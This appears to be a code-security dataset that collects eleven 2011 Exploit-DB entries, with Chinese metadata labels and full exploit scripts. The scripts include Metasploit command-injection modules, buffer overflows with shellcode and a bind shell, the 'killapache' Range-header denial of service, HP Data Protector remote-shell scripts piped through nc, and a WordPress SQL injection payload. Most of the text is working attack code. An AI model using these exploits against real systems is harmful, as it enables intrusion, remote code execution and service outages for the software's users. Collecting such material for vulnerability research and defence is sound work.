QLWD/code_shield huggingface dataset:
标题: LifeSize Room - Command Injection (Metasploit) EDB-ID: 17743 CVE: 2011-2763 类型: WEBAPPS 平台: PHP 发布日期: 2011-08-28 漏洞利用脚本: require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
 Rank = ExcellentRanking

 include Msf::Exploit::Remote::HttpClient

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'LifeSize Room Command Injection',
   'Description'    => %q{
    This module exploits a vulnerable resource in LifeSize
    Room  versions 3.5.3 and 4.7.18 to inject OS commmands.  LifeSize
    Room is an appliance and thus the environment is limited
    resulting in a small set of payload options.
   },
   'Author' => 
    [
     'Spencer McIntyre',
     # Special Thanks To Chris Murrey
     'SecureState R&D Team'
    ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 6 $',
   'References'     =>
    [
     [ 'CVE', '2011-2763' ],
    ],
   'Privileged'     => false,
   'Payload'        =>
    {
     'DisableNops' => true,
     'Space'       => 65535, # limited by the two byte size in the AMF encoding
     'Compat'      =>
      {
       'PayloadType' => 'cmd cmd_bash',
       'RequiredCmd' => 'generic bash-tcp',
      }
    },
   'Platform'       => [ 'unix' ],
   'Arch'           => ARCH_CMD,
   'Targets'        => [ [ 'Automatic', { } ] ],
   'DisclosureDate' => 'July 13 2011',
   'DefaultTarget'  => 0))
   
  register_advanced_options(
   [
    OptString.new('UserAgent', [true, 'The User-Agent header to use for all requests', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.17) Gecko/20110428 Fedora/3.6.17-1.fc14 Firefox/3.6.17'])
   ], self.class)

 end

 def exploit
  print_status("Requesting PHP Session...")
  res = send_request_cgi({
   'encode' => false,
   'uri'  =>  "/interface/interface.php?uniqueKey=#{rand_text_numeric(13)}",
   'method' => 'GET',
  }, 10)
  if not res.headers['set-cookie']
   print_error('Could Not Obtain A Session ID')
   return
  end
  
  sessionid = 'PHPSESSID=' << res.headers['set-cookie'].split('PHPSESSID=')[1].split('; ')[0]
  headers = {
   'Cookie'   => sessionid,
   'Content-Type' => 'application/x-amf',
  }
  
  print_status("Validating PHP Session...")
  res = send_request_cgi({
    'encode' => false,
    'uri'  => '/gateway.php',
    'data'  => "\x00\x00\x00\x00\x00\x02\x00\x1bLSRoom_Remoting.amfphpLogin\x00\x02/1\x00\x00\x00\x05\x0a\x00\x00\x00\x00\x00\x17LSRoom_Remoting.getHost\x00\x02\x2f\x32\x00\x00\x00\x05\x0a\x00\x00\x00\x00",
    'method' => 'POST',
    'headers' => headers,
  })
  if not res
   print_error('Could Not Validate The Session ID')
   return
  end
  
  print_status("Sending Malicious POST Request...")
  # This is the amf data for the request to the vulnerable function LSRoom_Remoting.doCommand
  amf_data = "\x00\x00\x00\x00\x00\x01\x00\x19LSRoom_Remoting.doCommand\x00\x02\x2f\x37\xff\xff\xff\xff\x0a\x00\x00\x00\x02\x02#{[payload.encoded.length].pack('n')}#{payload.encoded}\x02\x00\x0dupgradeStatus"
  res = send_request_cgi({
    'encode' => false,
    'uri'  => '/gateway.php?' << sessionid,
    'data'  => amf_data,
    'method' => 'POST',
    'headers' => headers
  }, 10)
 end
 
end URL: https://www.exploit-db.com/exploits/17743
标题: Free MP3 CD Ripper 1.1 - Local Buffer Overflow EDB-ID: 17727 CVE: 2011-5165 类型: LOCAL 平台: WINDOWS 发布日期: 2011-08-27 漏洞利用脚本: # ############################################################################
# Exploit Title : Free MP3 CD Ripper 1.1 Local Buffer Overflow 
# Software     : http://www.brothersoft.com/free-mp3-cd-ripper-84543.html
# Version     : 1.1
# Tested on     : Windows xp sp3 (en)
# Date      : 27/08/2011
# Author  : X-h4ck
# Website     : http://www.pirate.al , http://theflashcrew.blogspot.com
# Email      : mem001@live.com
# Greetz  : Wulns~ - Danzel - IllyrianWarrior- Ace - M4yh3m - Saldeath  
#                 mywisdom - bi0 - Slimshaddy - d3trimentaL - Lekosta - Rigon
#                 H-Down - H3ll - Pretorian
# ############################################################################

filename = "3v1lf1l3.wav"
print "cr34t1ng 3v1l f1l3"

junk ="\x41" * 4112
ret = "\xDC\x3A\xB4\x76"
nopsled = "\x90" * 15

shellcode = ("\x33\xc9\xb8\xa2\xe0\xe4\x44\xb1\x33\xda\xdf\xd9\x74\x24"
"\xf4\x5b\x31\x43\x0e\x03\x43\x0e\x83\x49\x1c\x06\xb1\x71"
"\x35\x4e\x3a\x89\xc6\x31\xb2\x6c\xf7\x63\xa0\xe5\xaa\xb3"
"\xa2\xab\x46\x3f\xe6\x5f\xdc\x4d\x2f\x50\x55\xfb\x09\x5f"
"\x66\xcd\x95\x33\xa4\x4f\x6a\x49\xf9\xaf\x53\x82\x0c\xb1"
"\x94\xfe\xff\xe3\x4d\x75\xad\x13\xf9\xcb\x6e\x15\x2d\x40"
"\xce\x6d\x48\x96\xbb\xc7\x53\xc6\x14\x53\x1b\xfe\x1f\x3b"
"\xbc\xff\xcc\x5f\x80\xb6\x79\xab\x72\x49\xa8\xe5\x7b\x78"
"\x94\xaa\x45\xb5\x19\xb2\x82\x71\xc2\xc1\xf8\x82\x7f\xd2"
"\x3a\xf9\x5b\x57\xdf\x59\x2f\xcf\x3b\x58\xfc\x96\xc8\x56"
"\x49\xdc\x97\x7a\x4c\x31\xac\x86\xc5\xb4\x63\x0f\x9d\x92"
"\xa7\x54\x45\xba\xfe\x30\x28\xc3\xe1\x9c\x95\x61\x69\x0e"
"\xc1\x10\x30\x44\x14\x90\x4e\x21\x16\xaa\x50\x01\x7f\x9b"
"\xdb\xce\xf8\x24\x0e\xab\xe7\xc6\x9b\xc1\x8f\x5e\x4e\x68"
"\xd2\x60\xa4\xae\xeb\xe2\x4d\x4e\x08\xfa\x27\x4b\x54\xbc"
"\xd4\x21\xc5\x29\xdb\x96\xe6\x7b\xb8\x79\x75\xe7\x11\x1c"
"\xfd\x82\x6d")


PirateAL = junk+ret+nopsled+shellcode
FILE = open(filename, "w")
FILE.write(PirateAL)
FILE.close()
print "t1m3 f0r pwn4g3" URL: https://www.exploit-db.com/exploits/17727
标题: Adobe Photoshop CS5 - '.gif' Remote Code Execution EDB-ID: 17712 CVE: 2011-2131 类型: DOS 平台: WINDOWS 发布日期: 2011-08-22 漏洞利用脚本: #####################################################################################

Application:   Adobe Photoshop CS5 GIF Remote Code Execution

Platforms:   Adobe Photoshop CS5 (12.0 and 12.1)

Exploitation:   Remote code execution

CVE Number:   CVE-2011-2131

Adobe Vulnerability Identifier:   APSB11-22

{PRL}:   2011-08

Author:   Francis Provencher (Protek Research Lab's)

Website:   http://www.protekresearchlab.com/

Twitter:   @ProtekResearch

#####################################################################################

1) Introduction
2) Timeline
3) Technical details
4) PoC


#####################################################################################

===============
1) Introduction
===============
Adobe Photoshop is a graphics editing program developed and published by Adobe Systems Incorporated.

Adobe's 2003 "Creative Suite" rebranding led to Adobe Photoshop 8's renaming to Adobe Photoshop CS. Thus,

Adobe Photoshop CS5 is the 12th major release of Adobe Photoshop. The CS rebranding also resulted

in Adobe offering numerous software packages containing multiple Adobe programs for a reduced price.

Adobe Photoshop is released in two editions: Adobe Photoshop, and Adobe Photoshop Extended,

with the Extended having extra 3D image creation, motion graphics editing, and advanced image

analysis features.[3]. Adobe Photoshop Extended is included in all of Adobe's Creative Suite offerings

except Design Standard, which includes the Adobe Photoshop edition.

http://en.wikipedia.org/wiki/Adobe_Photoshop

#####################################################################################

============================
2) Timeline
============================

2011-06-14 - Vulnerability reported to vendor
2011-09-09 - Coordinated public release of advisory

#####################################################################################

============================
3) Technical details
============================

This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations

of Adobe PhotoShop CS5. User interaction is required to exploit this vulnerability in that the

target must open a malicious GIF file. When the "ushort ImageHeight" is crafted with an invalid value

the memory is corrupted and arbitrary code can be run on the remote host.

#####################################################################################

===========
4) The Code
===========

http://www.protekresearchlab.com/exploits/PRL-2011-08.gif
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/17712.zip URL: https://www.exploit-db.com/exploits/17712
标题: Apache - Remote Memory Exhaustion (Denial of Service) EDB-ID: 17696 CVE: 2014-5329 2011-3192 类型: DOS 平台: MULTIPLE 发布日期: 2011-08-19 漏洞利用脚本: #Apache httpd Remote Denial of Service (memory exhaustion)
#By Kingcope
#Year 2011
#
# Will result in swapping memory to filesystem on the remote side
# plus killing of processes when running out of swap space.
# Remote System becomes unstable.
#

use IO::Socket;
use Parallel::ForkManager;

sub usage {
 print "Apache Remote Denial of Service (memory exhaustion)\n";
 print "by Kingcope\n";
 print "usage: perl killapache.pl <host> [numforks]\n";
 print "example: perl killapache.pl www.example.com 50\n";
}

sub killapache {
print "ATTACKING $ARGV[0] [using $numforks forks]\n";
 
$pm = new Parallel::ForkManager($numforks);

$|=1;
srand(time());
$p = "";
for ($k=0;$k<1300;$k++) {
 $p .= ",5-$k";
}

for ($k=0;$k<$numforks;$k++) {
my $pid = $pm->start and next;  
 
$x = "";
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                         Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

while(<$sock>) {
}
 $pm->finish;
}
$pm->wait_all_children;
print ":pPpPpppPpPPppPpppPp\n";
}

sub testapache {
my $sock = IO::Socket::INET->new(PeerAddr => $ARGV[0],
                                 PeerPort => "80",
                         Proto    => 'tcp');

$p = "HEAD / HTTP/1.1\r\nHost: $ARGV[0]\r\nRange:bytes=0-$p\r\nAccept-Encoding: gzip\r\nConnection: close\r\n\r\n";
print $sock $p;

$x = <$sock>;
if ($x =~ /Partial/) {
 print "host seems vuln\n";
 return 1; 
} else {
 return 0; 
}
}

if ($#ARGV < 0) {
 usage;
 exit; 
}

if ($#ARGV > 1) {
 $numforks = $ARGV[1];
} else {$numforks = 50;}

$v = testapache();
if ($v == 0) {
 print "Host does not seem vulnerable\n";
 exit; 
}
while(1) {
killapache();
} URL: https://www.exploit-db.com/exploits/17696
标题: Symantec System Center Alert Management System - 'xfr.exe' Arbitrary Command Execution (Metasploit) EDB-ID: 17699 CVE: 2009-1429 类型: REMOTE 平台: WINDOWS 发布日期: 2011-08-19 漏洞利用脚本: ##
# $Id: ams_xfr.rb 13591 2011-08-19 18:35:29Z mc $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

 Rank = ExcellentRanking

 include Msf::Exploit::CmdStagerTFTP
 include Msf::Exploit::Remote::Tcp

 def initialize(info = {})
  super(update_info(info,
   'Name'           => 'Symantec System Center Alert Management System (xfr.exe) Arbitrary Command Execution',
   'Description'    => %q{
     Symantec System Center Alert Management System is prone to a remote command-injection vulnerability
     because the application fails to properly sanitize user-supplied input.
   },
   'Author'         => [ 'MC' ],
   'License'        => MSF_LICENSE,
   'Version'        => '$Revision: 13591 $',
   'References'     =>
    [
     [ 'CVE', '2009-1429' ],
     [ 'BID', '34671' ],
     [ 'OSVDB', '54157' ],
     [ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-09-060/' ],
     [ 'URL', 'http://www.symantec.com/business/security_response/securityupdates/detail.jsp?fid=security_advisory&pvid=security_advisory&suid=20090428_02' ]
    ],
   'Targets'       =>
    [
     [ 'Windows Universal',
      {
       'Arch' => ARCH_X86,
       'Platform' => 'win'
      }
     ]
    ],
   'Privileged' => 'true',
   'Platform' => 'win',
   'DefaultTarget' => 0,
   'DisclosureDate' => 'Apr 28 2009'))

  register_options(
   [
    Opt::RPORT(12174),
    OptString.new('CMD', [ false, 'Execute this command instead of using command stager', ""]),
   ], self.class)
 end

 def windows_stager

  exe_fname = rand_text_alphanumeric(4+rand(4)) + ".exe"

  print_status("Sending request to #{datastore['RHOST']}:#{datastore['RPORT']}")
  execute_cmdstager({ :temp => '.'})
  @payload_exe = payload_exe

  print_status("Attempting to execute the payload...")
  execute_command(@payload_exe)

 end

 def execute_command(cmd, opts = {})

  connect

   len  = 2 + cmd.length

   data =  [0x00000000].pack('V')
   data << len.chr
   data << "\x00"
   data << cmd + " "
   data << "\x00"

   sock.put(data)

   res = sock.get_once

    if (!res)
     print_error("Did not recieve data. Failed?")
    else
     print_status("Got data, execution successful!")
    end

  disconnect
  
 end

 def exploit

  if not datastore['CMD'].empty?
   print_status("Executing command '#{datastore['CMD']}'")
   execute_command(datastore['CMD'])
   return
  end

  case target['Platform']
   when 'win'
    windows_stager
   else
    raise RuntimeError, 'Target not supported.'
   end

  handler

 end
end URL: https://www.exploit-db.com/exploits/17699
标题: Simple HTTPd 1.42 - Denial of Servive EDB-ID: 17658 CVE: 2011-2900 类型: DOS 平台: WINDOWS 发布日期: 2011-08-12 漏洞利用脚本: #!/usr/bin/python
# Exploit Title: Simple HTTPd 1.42 PoC DoS
# Date: 8/10/2011
# Author: G13
# Software Link: 
http://sourceforge.net/projects/shttpd/files/shttpd/1.42/shttpd-1.42.tar.gz/download
# Version: 1.42
# Tested on: WinXP SP1
# CVE : 2011-2900
#
# Since Mongoose HTTPd and Simple HTTPd share similar code, the exploit 
still works.
# Simple HTTPd is still affected by the bug. The executable must be 
compiled with -DNO_AUTH and -D_DEBUG enabled. I compiled
# under MinGW.

import socket, sys


buf = "A" * 6000

s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(('192.168.1.101',80))

s.send("PUT /" + buf + "/ HTTP/1.0\r\n")
s.send("\r\n")
print s.recv(1024)
s.close() URL: https://www.exploit-db.com/exploits/17658
标题: BisonWare BisonFTP Server 3.5 - Remote Buffer Overflow EDB-ID: 17649 CVE: 1999-1510 类型: REMOTE 平台: WINDOWS 发布日期: 2011-08-10 漏洞利用脚本: #!/usr/bin/python
# BisonFTP Server <=v3.5 Remote Buffer Overflow Exploit
# Newer version's not tested, maybe vulnerable too
# written by localh0t
# Date: 10/08/11
# Contact: mattdch0@gmail.com
# Follow: @mattdch
# www.localh0t.com.ar | www.mfsec.com.ar
# Thanks to: Pr0zac, Irakirashia, Kchito
# Targets: Windows XP SP3 Spanish (No DEP) (Change as you wish)
# Shellcode: List shell on port 4444 (Change as you wish)

from socket import *
import sys, struct, os, time

if (len(sys.argv) < 3):
 print "\nBisonFTP Server <=v3.5 Remote Buffer Overflow Exploit"
        print "\n Usage: %s <host> <port> \n" %(sys.argv[0])
 sys.exit()

print "\n[!] Connecting to %s ..." %(sys.argv[1])

# connect to host
sock = socket(AF_INET,SOCK_STREAM)
sock.connect((sys.argv[1],int(sys.argv[2])))
sock.recv(1024)
time.sleep(5)

# padding
buffer = "\x90" * 1092

# 368 bytes shellcode
buffer += ("\x33\xc9\x83\xe9\xaa\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e"+
"\xbb\xc1\x9c\x35\x83\xee\xfc\xe2\xf4\x47\x29\x15\x35\xbb\xc1"+
"\xfc\xbc\x5e\xf0\x4e\x51\x30\x93\xac\xbe\xe9\xcd\x17\x67\xaf"+
"\x4a\xee\x1d\xb4\x76\xd6\x13\x8a\x3e\xad\xf5\x17\xfd\xfd\x49"+
"\xb9\xed\xbc\xf4\x74\xcc\x9d\xf2\x59\x31\xce\x62\x30\x93\x8c"+
"\xbe\xf9\xfd\x9d\xe5\x30\x81\xe4\xb0\x7b\xb5\xd6\x34\x6b\x91"+
"\x17\x7d\xa3\x4a\xc4\x15\xba\x12\x7f\x09\xf2\x4a\xa8\xbe\xba"+
"\x17\xad\xca\x8a\x01\x30\xf4\x74\xcc\x9d\xf2\x83\x21\xe9\xc1"+
"\xb8\xbc\x64\x0e\xc6\xe5\xe9\xd7\xe3\x4a\xc4\x11\xba\x12\xfa"+
"\xbe\xb7\x8a\x17\x6d\xa7\xc0\x4f\xbe\xbf\x4a\x9d\xe5\x32\x85"+
"\xb8\x11\xe0\x9a\xfd\x6c\xe1\x90\x63\xd5\xe3\x9e\xc6\xbe\xa9"+
"\x2a\x1a\x68\xd3\xf2\xae\x35\xbb\xa9\xeb\x46\x89\x9e\xc8\x5d"+
"\xf7\xb6\xba\x32\x44\x14\x24\xa5\xba\xc1\x9c\x1c\x7f\x95\xcc"+
"\x5d\x92\x41\xf7\x35\x44\x14\xcc\x65\xeb\x91\xdc\x65\xfb\x91"+
"\xf4\xdf\xb4\x1e\x7c\xca\x6e\x48\x5b\x04\x60\x92\xf4\x37\xbb"+
"\xd0\xc0\xbc\x5d\xab\x8c\x63\xec\xa9\x5e\xee\x8c\xa6\x63\xe0"+
"\xe8\x96\xf4\x82\x52\xf9\x63\xca\x6e\x92\xcf\x62\xd3\xb5\x70"+
"\x0e\x5a\x3e\x49\x62\x32\x06\xf4\x40\xd5\x8c\xfd\xca\x6e\xa9"+
"\xff\x58\xdf\xc1\x15\xd6\xec\x96\xcb\x04\x4d\xab\x8e\x6c\xed"+
"\x23\x61\x53\x7c\x85\xb8\x09\xba\xc0\x11\x71\x9f\xd1\x5a\x35"+
"\xff\x95\xcc\x63\xed\x97\xda\x63\xf5\x97\xca\x66\xed\xa9\xe5"+
"\xf9\x84\x47\x63\xe0\x32\x21\xd2\x63\xfd\x3e\xac\x5d\xb3\x46"+
"\x81\x55\x44\x14\x27\xc5\x0e\x63\xca\x5d\x1d\x54\x21\xa8\x44"+
"\x14\xa0\x33\xc7\xcb\x1c\xce\x5b\xb4\x99\x8e\xfc\xd2\xee\x5a"+
"\xd1\xc1\xcf\xca\x6e\xc1\x9c\x35")

# more padding
buffer += "\x90" * 8

# jmp edx (shell32.dll Windows XP SP3 Spanish) (edx points to the 1st nopsled)
buffer += "\x9a\x5c\x3c\x7e"

# end connection
buffer += "\x0a"

# send buffer
print "[!] Sending exploit..."
sock.send(buffer)
sock.recv(1024)
sock.close()
print "[!] Exploit succeed. Now netcat %s on port 4444\n" %(sys.argv[1])
sys.exit() URL: https://www.exploit-db.com/exploits/17649
标题: HP Data Protector (Linux) - Remote Command Execution EDB-ID: 17648 CVE: 2011-0923 类型: REMOTE 平台: LINUX 发布日期: 2011-08-10 漏洞利用脚本: #!/bin/bash
# Exploit Title: HP Data Protector Remote Root Shell for Linux
# Date: 2011-08-10
# Author: SZ
# Software Link:http://www8.hp.com/us/en/software/software-
# product.html?compURI=tcm:245-936920&pageTitle=data-protector
# Version: 0.9
# Tested on: HP-UX, Linux
# CVE: CVE-2011-0923
# Notes: ZDI-11-055
# Reference: http://www.zerodayinitiative.com/advisories/ZDI-11-055/
# Reference: http://h20000.www2.hp.com/bizsupport/TechSupport/
# Document.jsp?objectID=c02781143
#
# Ported from HPUX to Linux: minor change /usr/bin/sh -> /bin/sh
# Ported to HPUX from fdisk's (@fdiskyou) Windows version.
# Windows version: http://www.exploit-db.com/exploits/17339/
#
[ $# -lt 3 ] && echo -en "Syntax: `basename ${0}` <host> <port> <commands>\n\n`basename ${0}` 10.22.33.44 5555 id \nX15 [12:1] uid=0(root) gid=0(root)
" && exit 0
 
HOST=`echo ${@} | awk '{print $1}'`
PORT=`echo ${@} | awk '{print $2}'`
CMD=`echo ${@} | sed 's/'$HOST'.*'${PORT}'\ \ *//g'`
SC=""
SC=${SC}"\x00\x00\x00\xa4\x20\x32\x00\x20\x2d\x2d\x63\x68\x30\x6b\x73\x2d"
SC=${SC}"\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x2d\x63\x68"
SC=${SC}"\x30\x6b\x73\x2d\x2d\x00\x20\x43\x00\x20\x32\x30\x00\x20\x2d\x2d"
SC=${SC}"\x63\x68\x30\x6b\x73\x2d\x00\x20\x50\x6f\x63\x00\x20\x2d\x72\x30"
SC=${SC}"\x30\x74\x2d\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d"
SC=${SC}"\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d\x72\x30\x30"
SC=${SC}"\x74\x2d\x00\x20\x30\x00\x20\x30\x00\x20\x2e\x2e\x2f\x2e\x2e\x2f"
SC=${SC}"\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e"
SC=${SC}"\x2e\x2f\x2e\x2e\x2f\x62\x69\x6e\x2f\x73\x68\x00\x00\x00\x00\x00"
SC=${SC}"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
SC=${SC}"\x00\x00\x00\x00\x00\x00\x00\x00\x00"

SHELLCODE=${SC}
( echo -en ${SHELLCODE} ; echo ${CMD} ) | nc -w1 ${HOST} ${PORT} URL: https://www.exploit-db.com/exploits/17648
标题: Excel - SLYK Format Parsing Buffer Overrun (PoC) EDB-ID: 17643 CVE: 2011-1276 类型: DOS 平台: WINDOWS 发布日期: 2011-08-09 漏洞利用脚本: # Exploit Title: Excel SLYK Format Parsing Buffer Overrun Vulnerability PoC
# Date: [date]
# Author: webDEViL
# Software Link: [download link if available]
# Version: [app version]
# Tested on: ALL
# CVE : CVE-2011-1276

# w3bd3vil[at]gmail[dot]com
# twitter.com/w3bd3vil

open (FILE, '>>CVE-2011-1276.slk');
print FILE "ID;P\n";
print FILE "P;PAAAA\n"x550;
print FILE "P";
close (FILE); URL: https://www.exploit-db.com/exploits/17643
标题: WordPress Plugin Social Slider 5.6.5 - SQL Injection EDB-ID: 17617 CVE: 2011-5286 类型: WEBAPPS 平台: PHP 发布日期: 2011-08-05 漏洞利用脚本: # Exploit Title: Social Slider <= 5.6.5 SQL Injection Vulnerability
# Date: 2011-08-05
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/social-slider-2.zip
# Version: 5.6.5 (tested)

---------------
PoC (POST data)
---------------
http://www.site.com/wp-content/plugins/social-slider-2/ajax.php
 action=ZapiszPozycje&rA[]=1 AND SLEEP(5)

---------------
Vulnerable code
---------------
<?php 
require_once(dirname(__FILE__).'/../../../wp-config.php');
global $wpdb, $table_prefix;

$SocialSliderArray = $_POST['rA'];

if (mysql_real_escape_string($_POST['action']) == "ZapiszPozycje")
    {
    $lC = 1;
    foreach ($SocialSliderArray as $recordIDValue)
        {
        $query = "UPDATE ".$table_prefix."socialslider SET lp = ".$lC." WHERE id = ".$recordIDValue;
        mysql_query($query);
        $lC = $lC + 1;    
        }
    }
?> URL: https://www.exploit-db.com/exploits/17617
标题: HP Data Protector (HP-UX) - Remote Shell EDB-ID: 17614 CVE: 2011-0923 类型: REMOTE 平台: HP-UX 发布日期: 2011-08-05 漏洞利用脚本: #!/bin/bash 
# Exploit Title: HP Data Protector Remote Shell for HPUX
# Date: 2011-08-02
# Author: Adrian Puente Z.
# Software Link:http://www8.hp.com/us/en/software/software-
# product.html?compURI=tcm:245-936920&pageTitle=data-protector
# Version: 0.9
# Tested on: HPUX
# CVE: CVE-2011-0923
# Notes: ZDI-11-055
# Reference: http://www.zerodayinitiative.com/advisories/ZDI-11-055/
# Reference: http://h20000.www2.hp.com/bizsupport/TechSupport/ 
# Document.jsp?objectID=c02781143
#
# Powered by Hackarandas www.hackarandas.com 
# Reachme at ch0ks _at_ hackarandas _dot_ com || @ch0ks 
# Lots of thanks to David Llorens (@c4an) for all the help. 
# Ported to HPUX from fdisk's (@fdiskyou) Windows version. 
# Windows version: http://www.exploit-db.com/exploits/17339/ 
#
# 
# Shouts to shellhellboy, r3x, r0d00m, etlow,  
# psymera, nitr0us and ppl in #mendozaaaa 
# 
#

[ $# -lt 3 ] && echo -en "Syntax: `basename ${0}` <host> <port> <commands>\n\n`basename ${0}` 10.22.33.44 5555 id \nX15 [12:1] uid=0(root) gid=0(root)
" && exit 0

HOST=`echo ${@} | awk '{print $1}'`
PORT=`echo ${@} | awk '{print $2}'`
CMD=`echo ${@} | sed 's/'$HOST'.*'${PORT}'\ \ *//g'`
SC=""
SC=${SC}"\x00\x00\x00\xa4\x20\x32\x00\x20\x2d\x2d\x63\x68\x30\x6b\x73\x2d"
SC=${SC}"\x00\x20\x30\x00\x20\x53\x59\x53\x54\x45\x4d\x00\x20\x2d\x63\x68"
SC=${SC}"\x30\x6b\x73\x2d\x2d\x00\x20\x43\x00\x20\x32\x30\x00\x20\x2d\x2d"
SC=${SC}"\x63\x68\x30\x6b\x73\x2d\x00\x20\x50\x6f\x63\x00\x20\x2d\x72\x30"
SC=${SC}"\x30\x74\x2d\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d"
SC=${SC}"\x72\x30\x30\x74\x2d\x00\x20\x2d\x72\x30\x30\x74\x2d\x72\x30\x30"
SC=${SC}"\x74\x2d\x00\x20\x30\x00\x20\x30\x00\x20\x2e\x2e\x2f\x2e\x2e\x2f"
SC=${SC}"\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e\x2e\x2f\x2e"
SC=${SC}"\x2e\x2f\x2e\x2e\x2f\x75\x73\x72\x2f\x62\x69\x6e\x2f\x73\x68\x00"
SC=${SC}"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
SC=${SC}"\x00\x00\x00\x00\x00\x00\x00\x00\x00"
SHELLCODE=${SC}
( echo -en ${SHELLCODE} ; echo ${CMD} ) | nc -w1 ${HOST} ${PORT} URL: https://www.exploit-db.com/exploits/17614